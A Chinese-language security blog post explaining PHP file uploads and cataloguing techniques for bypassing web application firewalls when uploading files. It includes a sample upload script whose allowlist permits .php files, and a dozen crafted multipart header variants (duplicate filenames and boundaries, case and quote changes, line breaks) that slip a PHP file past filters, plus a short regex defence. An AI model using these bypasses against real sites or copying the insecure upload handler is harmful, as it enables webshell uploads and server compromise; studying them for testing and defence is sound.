文件上传绕过waf

php 上传文件的步骤

实现思路

  1. 传文件
  2. 取文件
  3. 移动文件

必备知识

  1. $_FILES

    $_FILES 是一个超全局变量二位数组

    第一个参数是表单上传文件 input 的name属性值,第二个下标可以是 “name”, “type”, “size”, “tmp_name” 或 “error”

    $_FILES数组内容如下:
    $_FILES[s’myFile’][‘name’] 客户端文件的原名称。
    $_FILESs[‘myFile’][‘type’] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如”image/gif”。
    $_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节。
    $_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
    $_FILES[‘myFile’][‘error’] 和该文件上传相关的错误代码。[‘error’] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)

    关于错误类型

    UPLOAD_ERR_OK
    值:0; 没有错误发生,文件上传成功。
    UPLOAD_ERR_INI_SIZE
    值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
    UPLOAD_ERR_FORM_SIZE
    值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
    UPLOAD_ERR_PARTIAL
    值:3; 文件只有部分被上传。
    UPLOAD_ERR_NO_FILE
    值:4; 没有文件被上传。
    值:5; 上传文件大小为0.

    这个部分只需要查文档就可以完美的解决了

  2. 文件上传中常用的函数

    strrchr — 查找指定字符在字符串中的最后一次出现
    substr — 返回字符串的子串
    in_array — 检查数组中是否存在某个值
    date_default_timezone_set — 设定用于一个脚本中所有日期时间函数的默认时区
    file_exists — 检查文件或目录是否存在
    mkdir — 新建目录
    date — 格式化一个本地时间/日期
    move_uploaded_file — 将上传的文件移动到新位置

一个简单的上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
header('Content-type:text/html;charset=utf-8');
if($_FILES['file']['error'] == 0){ // 判断上传是否正确
$fileName = $_FILES['file']['name']; // 获取文件名称
$fileSize = $_FILES['file']['size']; // 获取文件大小
$tmp_name = $_FILES["file"]["tmp_name"]; // 获取上传文件默认临时地址
$fileTypeInfo = ['doc','txt','php']; // 定义允许上传文件类型【很多种只列举3种】
$fileType = substr(strrchr($fileName,'.'),1); // 提取文件后缀名
if(!in_array($fileType,$fileTypeInfo)){ // 判断该文件是否为允许上传的类型
echo '上传失败,文件格式不正确';
die();
}
if($fileSize /1024 > 2){ // 规定文件上传大小【文件为Byte/1024 转为 kb】
echo '上传失败,文件太大请上传小于2Kb';
die();
}
date_default_timezone_set('PRC'); // 定义时间戳
if(!file_exists('./common/uploads')){ // 判断是否存在存放上传文件的目录
mkdir('./common/uploads'); // 建立新的目录
}else{
$newFileName = date('Ymd').'_'.$fileName; // 命名新的文件名称
if(move_uploaded_file($tmp_name,'./common/uploads/'.$newFileName)){ // 移动文件到指定目录
echo ("上传成功");
}
}
}else{
echo "上传失败".$_FILES['file']['error']; // 显示错误信息
}

http 上传文件数据包的解析

文件上传的本质就是客户端的post 请求,前端需要指定enctype 为 multipart/from-data 才能正常上传

可以先尝试分析一下一个文件上传的包,使用uploadlabs进行尝试

image-20240527142403813

选取一个比较简单的上传包的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--

可以发现在Content-Type 中存在multipart/form-databoundary

multipart/form-data 请求一个文件上传

boundary 简单理解为数据包分隔符,用于区分post 的内容和数据,就是区分每一个项目

文件上传数据包中可以修改的部分

Content-Disposition:一般可更改name:表单参数值,不能更改filename:文件名,可以更改Content-Type:文件 MIME,视情况更改boundary:内容划分,可以更改

waf 如何拦截恶意文件

  1. 基于文件名

    文件名,文件后缀是否是白名单内的,或者是黑名单内的,进行不同的处理

    步骤:

    1. 获取Request Header里的Content-Type值中获取boundary值
    2. 根据第一步的boundary值,解析POST数据,获取文件名
    3. 判断文件名是否在拦截黑名单内
  2. 基于文件内容

    根据文件内容中的

    1. 基于文件头进行检测
    2. 文件内容扫描是否存在恶意的代码
    3. 深度内容检测,如果发现是一个压缩包,会进行解压,在进行文件内容检测
  3. 基于文件目录权限

  4. 用户行为分析

    分析用户上传文件时,上下文。比如上传频率,时间,用户啥的

具体绕过步骤

  1. 去掉引号

    1
    2
    3
    Content-Disposition: form-data; name=file_x; filename="xx.php"
    Content-Disposition: form-data; name=file_x; filename=xx.php
    Content-Disposition: form-data; name="file_x"; filename=xx.php
  2. 双引号变单引号

    1
    Content-Disposition: form-data; name='file_x'; filename='xx.php'
  3. 大小写绕过

    针对三个固定的字符串进行大小写转换

    • Content-Disposition
    • name
    • filename
  4. 空格绕过

    : ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。

    在filename=后面添加空格

  5. 去掉或修改Content-Disposition值

    意思就是不指定Content-Disposition 的值,因为有一些WAF 会觉得这个就是form-data 然后进行绕过

  6. 交换name和filename的顺序

    规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。

    有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

    1
    Content-Disposition: form-data; filename="xx.php"; name=file_x
  7. 多个boundary

    最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="file_x"; filename="test.txt"
    Content-Type: text/javascript

    <?php phpinfo(); ?>
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="file_x"; filename="test.php"
    Content-Type: text/javascript

    <?php phpinfo(); ?>
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="submit_x"

    upload
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
  8. 多个filename

    最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

    1
    Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php" 
  9. 多个分号

    文件解析时,可能解析不到文件名,导致绕过。

    1
    Content-Disposition: form-data; name="file_x";;; filename="test.php"
  10. multipart/form-DATA

就是改变他的大小写
  1. Header在boundary前添加任意字符

    这个只能说,PHP很皮,这都支持。试了JAVA会报错。

    1
    Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
  2. filename换行

1
2
Content-Disposition: form-data; name="file_x"; file
name="test.php"
可以换行其他部分
  1. name和filename添加任意字符串

    1
    Content-Disposition: name="file_x"; bypass waf upload; filename="test.php"; 

如何防御

通过正则

  1. 由于是文件上传,所以必须有Content-Type: multipart/form-data,先判断这个是否存在。
  2. POST数据去掉所有换行,匹配是否有Content-Disposition:.*filename\s*=\s*(.*php)类似的规则。

参考文章

干货 | 最全的文件上传漏洞之WAF拦截绕过总结-腾讯云开发者社区-腾讯云 (tencent.com)

【WAF Bypass】文件上传绕过waf姿势总结_文件上传绕waf-CSDN博客

文件上传和WAF的攻与防 - FreeBuf网络安全行业门户

HTML form enctype 属性 | 菜鸟教程 (runoob.com)


文件上传绕过waf
https://tsy244.github.io/2024/05/26/web/文件上传绕过waf/
Author
August Rosenberg
Posted on
May 26, 2024
Licensed under